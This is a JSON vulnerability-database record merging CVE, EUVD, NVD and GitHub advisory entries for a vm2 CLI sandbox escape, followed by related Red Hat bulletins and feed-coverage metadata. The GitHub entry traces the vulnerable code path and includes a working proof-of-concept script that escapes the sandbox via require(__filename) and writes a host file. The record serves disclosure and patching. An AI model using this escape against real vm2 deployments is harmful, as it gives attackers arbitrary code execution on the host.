{"id":"GHSA-jxxv-8r27-vm4p","revision":null,"records":[{"revision":"f9a2ad0c9e904a3897af414e2b589b0d","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-92950","aliases":[],"title":"vm2 before 3.11.7 Sandbox Escape via CLI require","description":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","state":0,"publishedAt":"2026-09-17T13:46:10.113+00:00","modifiedAt":"2026-09-17T14:24:26.002+00:00","affected":[{"ecosystem":"Vendor product","name":"vm2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"patriksimek\",\n                    \"product\": \"vm2\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/vm2\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"3.11.7\"\n                        },\n                        {\n                            \"version\": \"3.11.7\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.3,"severity":"CRITICAL"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.6,"severity":"HIGH"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p","https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-92950","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-92950","identifiers":["CVE-2026-92950"]},"retained":false,"historicalAffected":[]},{"revision":"7a35c35ff6024141851c5d48a5956b92","observedAt":"2026-11-11T18:10:15.843+00:00","statement":{"source":"euvd","id":"EUVD-2026-81599","aliases":["CVE-2026-92950","GHSA-hc6q-4vvg-jf79","GHSA-jxxv-8r27-vm4p"],"title":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename)…","description":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.3,"severity":null}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p","https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-81599","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 17, 2026, 1:46:10 PM","dateUpdated":"Sep 17, 2026, 2:24:26 PM"},"relatedAdvisories":[{"id":"RHSA-2026:80603","title":"Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update","vulnerabilityIds":["CVE-2026-47686","CVE-2026-47698","CVE-2026-84961","CVE-2026-85152","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92956","CVE-2026-92957","CVE-2026-92960","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606","CVE-2026-101916"]},{"id":"RHSA-2026:82151","title":"Red Hat Security Advisory: Ansible automation portal Red Hat Enterprise Linux Images","vulnerabilityIds":["CVE-2026-13697","CVE-2026-19534","CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-54284","CVE-2026-55553","CVE-2026-59893","CVE-2026-71491","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77037","CVE-2026-82333","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84961","CVE-2026-88932","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606"]},{"id":"RHSA-2026:76788","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 Plugin Catalog GA plugins release.","vulnerabilityIds":["CVE-2026-13697","CVE-2026-19534","CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-55553","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77037","CVE-2026-77078","CVE-2026-77413","CVE-2026-77414","CVE-2026-77415","CVE-2026-82333","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84961","CVE-2026-87776","CVE-2026-88932","CVE-2026-89011","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606"]},{"id":"RHSA-2026:91651","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.9.10 release.","vulnerabilityIds":["CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-84445","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606","CVE-2026-111943"]},{"id":"RHSA-2026:80644","title":"Red Hat Security Advisory: Ansible plug-ins for Red Hat Developer Hub Product Release Update","vulnerabilityIds":["CVE-2026-47686","CVE-2026-47698","CVE-2026-84961","CVE-2026-85152","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92956","CVE-2026-92957","CVE-2026-92960","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606","CVE-2026-101916"]},{"id":"RHSA-2026:79088","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.10.5 release.","vulnerabilityIds":["CVE-2026-13697","CVE-2026-14456","CVE-2026-18798","CVE-2026-19534","CVE-2026-47683","CVE-2026-47686","CVE-2026-47698","CVE-2026-55553","CVE-2026-63072","CVE-2026-63076","CVE-2026-67213","CVE-2026-67214","CVE-2026-67422","CVE-2026-75899","CVE-2026-75931","CVE-2026-75975","CVE-2026-76172","CVE-2026-77037","CVE-2026-77078","CVE-2026-82333","CVE-2026-82417","CVE-2026-84292","CVE-2026-84375","CVE-2026-84394","CVE-2026-84445","CVE-2026-84961","CVE-2026-87776","CVE-2026-88932","CVE-2026-89011","CVE-2026-92934","CVE-2026-92935","CVE-2026-92937","CVE-2026-92938","CVE-2026-92939","CVE-2026-92940","CVE-2026-92941","CVE-2026-92942","CVE-2026-92944","CVE-2026-92946","CVE-2026-92947","CVE-2026-92948","CVE-2026-92950","CVE-2026-92951","CVE-2026-92953","CVE-2026-92954","CVE-2026-92955","CVE-2026-92956","CVE-2026-92957","CVE-2026-92958","CVE-2026-92959","CVE-2026-92960","CVE-2026-92961","CVE-2026-93603","CVE-2026-93604","CVE-2026-93605","CVE-2026-93606"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-81599","identifiers":["EUVD-2026-81599","CVE-2026-92950","GHSA-hc6q-4vvg-jf79","GHSA-jxxv-8r27-vm4p"]},"retained":false,"historicalAffected":[]},{"revision":"4fc3462e345841248fc145c9ab2653f0","observedAt":"2026-10-25T16:19:22.228+00:00","statement":{"source":"nvd","id":"CVE-2026-92950","aliases":[],"title":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename)…","description":"vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","state":0,"publishedAt":"2026-09-17T14:18:00.637+00:00","modifiedAt":"2026-09-17T15:17:00.91+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.3,"severity":"CRITICAL"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":8.6,"severity":"HIGH"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p","https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92950","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-453"],"productCriteria":[],"sourceDates":{"published":"2026-09-17T14:18:00.637","lastModified":"2026-09-17T15:17:00.910"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-92950","identifiers":["CVE-2026-92950"]},"retained":false,"historicalAffected":[]},{"revision":"5ba5eb0d57c143ec893fa39e4ab31568","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-hc6q-4vvg-jf79","aliases":[],"title":"Duplicate Advisory: vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00A0GHSA-jxxv-8r27-vm4p. This link is maintained to preserve external references.\n\n## Original Description\nvm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.","state":2,"publishedAt":"2026-09-17T15:32:16+00:00","modifiedAt":"2026-10-01T15:45:06.7377904+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"3.11.6"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"CVSS_V4","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p","https://nvd.nist.gov/vuln/detail/CVE-2026-92950","https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require"],"sourceUrl":"https://github.com/advisories/GHSA-hc6q-4vvg-jf79","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-hc6q-4vvg-jf79","identifiers":["GHSA-hc6q-4vvg-jf79"]},"retained":false,"historicalAffected":[]},{"revision":"db529d0fab364fa0ad178fcbdb0ac3d7","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-jxxv-8r27-vm4p","aliases":["CVE-2026-92950"],"title":"vm2 CLI provides no sandbox isolation - host-realm require() is reachable from sandboxed scripts","description":"### Summary\nThe `vm2` command-line tool installed by `npm install -g vm2` and documented in the README's \"CLI\" section runs the supplied script under `NodeVM` with `require:{external:true}` and no `root` / `context` / `builtin` configured. With these defaults the resolver loads every relative or absolute `require()` target through the **host** `require()` function, executing the attacker's module body in the host Node.js process before the result is ever proxied back into the sandbox. A single attacker-controlled file passed to `vm2 ./script.js` can call `require(__filename)` to re-execute itself in host realm and reach `fs`, `child_process`, etc. The documented sandbox runner is therefore equivalent to `node ./script.js`. No additional files, flags, or user interaction are required.\n\n### Details\nThe vulnerability lets a **malicious sandboxed script** - the file argument to the documented `vm2 <file>` CLI - execute arbitrary code in the **host Node.js process**, crossing the sandbox → host boundary that vm2 is meant to enforce.\n\n#### Vulnerable code path\n\n1. **Source** - `bin/vm2:3` → `lib/cli.js:7-18`. `process.argv[2]` is the\n   attacker-authored script path. The CLI invokes:\n   ```js\n   NodeVM.file(path, { verbose: true, require: { external: true } });\n   ```\n   Without `require.root`, `require.context`, nor `require.builtin`.\n2. **Hop** - `lib/nodevm.js:618-636`. `NodeVM.file` reads the file and calls\n   `new NodeVM(options).run(body, resolvedFilename)`.\n3. **Hop** - `lib/nodevm.js:335` → `lib/resolver-compat.js:205-266`\n   (`makeResolverFromLegacyOptions`). Destructures `external:true`,\n   `rootPaths=undefined`, `hostRequire=defaultRequire` (line 218),\n   `context='host'` (default, line 219). Because `typeof externalOpt !== 'object'`\n   (line 265) it returns a `CustomResolver` with `checkedRootPaths=undefined` and\n   `pathContext = () => 'host'` (line 263).\n4. **Hop** - `lib/setup-node-sandbox.js:86-123` (`requireImpl`). Sandbox\n   `require(id)` resolves via `resolver.resolve(...)` (`lib/nodevm.js:380-383`).\n   `lib/resolver.js:244-275` handles absolute/relative specifiers; `tryFile` at\n   `lib/resolver.js:327-329` gates on `this.isPathAllowed(x)`.\n5. **Barrier (gap)** - `lib/resolver-compat.js:53-54`:\n   ```js\n   isPathAllowed(filename) {\n       if (this.rootPaths === undefined) return true;\n   ```\n   With no `root` configured, **every** filesystem path is allowed. `checkAccess`\n   (`lib/resolver.js:39-42`) delegates to the same method.\n6. **Sink** - `lib/resolver-compat.js:74-77`:\n   ```js\n   loadJS(vm, mod, filename) {\n       if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(...);\n       const m = this.hostRequire(filename);   // ← host-realm require()\n       mod.exports = vm.readonly(m);\n   }\n   ```\n   `hostRequire` is `defaultRequire` (`lib/resolver-compat.js:20-23`) - the real\n   host `require()`. The required module's **top-level body executes in the host\n   realm** before `vm.readonly()` wraps the exports; wrapping happens too late to\n   constrain side-effects. `loadNode` (`lib/resolver-compat.js:80-83`) is\n   identical for `.node` native addons (`process.dlopen` in host).\n\n### PoC\nSave the following as `/tmp/poc.js`:\n\n```js\n'use strict';\ntry {\n    // Host realm: fs is available - write sentinel and stop.\n    const fs = require('fs');\n    fs.writeFileSync('/tmp/vm2.proof', 'host pid=' + process.pid + '\\n');\n    console.log('HOST realm: wrote /tmp/vm2.proof');\n} catch (e) {\n    // Sandbox realm: require('fs') threw ENOTFOUND. Re-require this file -\n    // the CLI resolver loads it via host require() (resolver-compat.js:76).\n    console.log('sandbox realm: fs blocked (' + e.message + '); escaping');\n    require(__filename);\n}\n```\n\nRun via the shipped CLI exactly as the README documents:\n\n```sh\nnode ./bin/vm2 /tmp/poc.js        # or `vm2 /tmp/poc.js` after `npm i -g vm2`\n```\n\nObserved output:\n\n```\nsandbox realm: fs blocked (Cannot find module 'fs'); escaping\nHOST realm: wrote /tmp/vm2.proof\n```\n\n`/tmp/vm2.proof` exists, written by `fs.writeFileSync` from a script whose\ndirect `require('fs')` was blocked by the sandbox. The first line proves the\nboundary exists; the second proves it was crossed.\n\n\n### Impact\nA user who follows the README's CLI section and runs `vm2 ./untrusted.js` on an\nattacker-supplied file gets **arbitrary code execution as that user** - the\nsandbox provides no isolation in this configuration. The blast radius is the\nfull host Node.js process: `fs`, `child_process`, `process.dlopen`, network,\nenvironment.","state":0,"publishedAt":"2026-10-01T15:40:45+00:00","modifiedAt":"2026-10-01T16:00:04.7839586+00:00","affected":[{"ecosystem":"npm","name":"vm2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.11.7"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/patriksimek/vm2/security/advisories/GHSA-jxxv-8r27-vm4p","https://nvd.nist.gov/vuln/detail/CVE-2026-92950","https://github.com/patriksimek/vm2/commit/903017c8a1eae9aba947ec854468b48155e79f86","https://github.com/patriksimek/vm2","https://github.com/patriksimek/vm2/releases/tag/v3.11.7","https://www.vulncheck.com/advisories/vm2-before-3.11.7-sandbox-escape-via-cli-require"],"sourceUrl":"https://github.com/advisories/GHSA-jxxv-8r27-vm4p","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-jxxv-8r27-vm4p","identifiers":["GHSA-jxxv-8r27-vm4p","CVE-2026-92950"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T22:56:48.8843611+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T22:56:48.8843611+00:00","lastSuccessAt":"2026-11-11T22:56:49.05921+00:00","error":null,"lastVerifiedAt":"2026-11-11T22:56:49.0592109+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-898e28488849fdb15ef1568d1126b1e135cc449eeb5b00fe8f5e0e94343c0306","complete":true,"records":424438,"lastAttemptAt":"2026-11-11T22:56:48.5548519+00:00","lastSuccessAt":"2026-11-11T22:56:48.275736+00:00","error":null,"lastVerifiedAt":"2026-11-11T22:56:48.5548519+00:00","snapshotPublishedAt":"2026-11-11T22:23:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1d239b28eb2f4f3e9d04b0bf68d02e2f","complete":false,"records":13760,"lastAttemptAt":"2026-11-11T23:03:13.146548+00:00","lastSuccessAt":"2026-11-11T23:03:13.2080201+00:00","error":null,"lastVerifiedAt":"2026-11-11T23:03:13.2080201+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T22:56:48.8843611+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T22:56:48.8843611+00:00","lastSuccessAt":"2026-11-11T22:56:49.0602607+00:00","error":null,"lastVerifiedAt":"2026-11-11T22:56:49.0602611+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-b9dd8b3871d74cf586e393481617016c","complete":true,"records":13758,"lastAttemptAt":"2026-11-11T22:57:14.2746089+00:00","lastSuccessAt":"2026-11-11T22:57:14.271+00:00","error":null,"lastVerifiedAt":"2026-11-11T22:57:14.271+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13813,"expectedIdentifiers":13813,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T22:56:48.8324795+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T22:56:48.8324795+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T22:56:48.6203486+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T22:56:48.6203486+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-baa8362b4daf9e5f39d5563775a55935e7b442c0735d33274a921579ce4a0d66","complete":true,"records":3093,"lastAttemptAt":"2026-11-11T22:56:48.8497934+00:00","lastSuccessAt":"2026-11-11T13:00:02.5446881+00:00","error":null,"lastVerifiedAt":"2026-11-11T22:56:48.8497934+00:00","snapshotPublishedAt":"2026-11-11T12:47:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-685fe7fb2b690656c910a1ea42a9d294e8353311ac8ecfa691a9b0ff1b328804","complete":true,"records":231695,"lastAttemptAt":"2026-11-11T22:56:48.732015+00:00","lastSuccessAt":"2026-11-11T21:58:47.7265713+00:00","error":null,"lastVerifiedAt":"2026-11-11T22:56:48.732015+00:00","snapshotPublishedAt":"2026-11-11T21:48:35+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}